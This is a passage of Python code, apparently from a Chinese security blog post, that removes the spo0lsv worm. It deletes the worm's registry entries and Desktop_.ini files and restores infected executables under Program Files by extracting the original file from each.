		key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,r'Software\Microsoft\Tracing',0,_winreg.KEY_WRITE)
		_winreg.DeleteKey(key, "spo0lsv_RASAPI32")
		_winreg.DeleteKey(key, "spo0lsv_RASMANCS")
  
		key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE)
		_winreg.DeleteValue(key, "svcshare")
		print("Delete virus RegKeys successfully")
		print("\n")
		
		
		
		# 4. Recover infected exe
		dictFiles = {}
		dictFiles["exe"] = []
		dictFiles["ini"] = []
		
		listAccess = [r"C:\Program Files"]
		for dir in listAccess:
			getFiles(dir, dictFiles)
		
		# delete Desktop_.ini
		for ini in dictFiles["ini"]:
			os.chmod(ini, stat.S_IWRITE)
			del_file(ini)
		print("Delete %d Desktop_.ini" % len(dictFiles["ini"]))
		for pePath in dictFiles["exe"]:
			print("Infected PE name %s" % pePath)
			with open(pePath, "rb") as fr:
				fr.seek(0, 2)
				for i in range(20):
					fr.seek(-2, 1)
					#print("%x" % fr.tell())
					filesize = fr.read(1)
					if ord(filesize) == 2:
						filesize = int(fr.read(i))
						fr.seek((-1)*i, 1)
						break;
				if type(filesize) == str:
					continue
				print("filesize: %d" % filesize)
				
				fr.seek(0x7531, 0)
				PE = fr.read(filesize)

			with open(pePath, "wb") as fw:
				fw.write(PE)
		break
		

你可能感兴趣的:(#,virus,#,re,系统安全)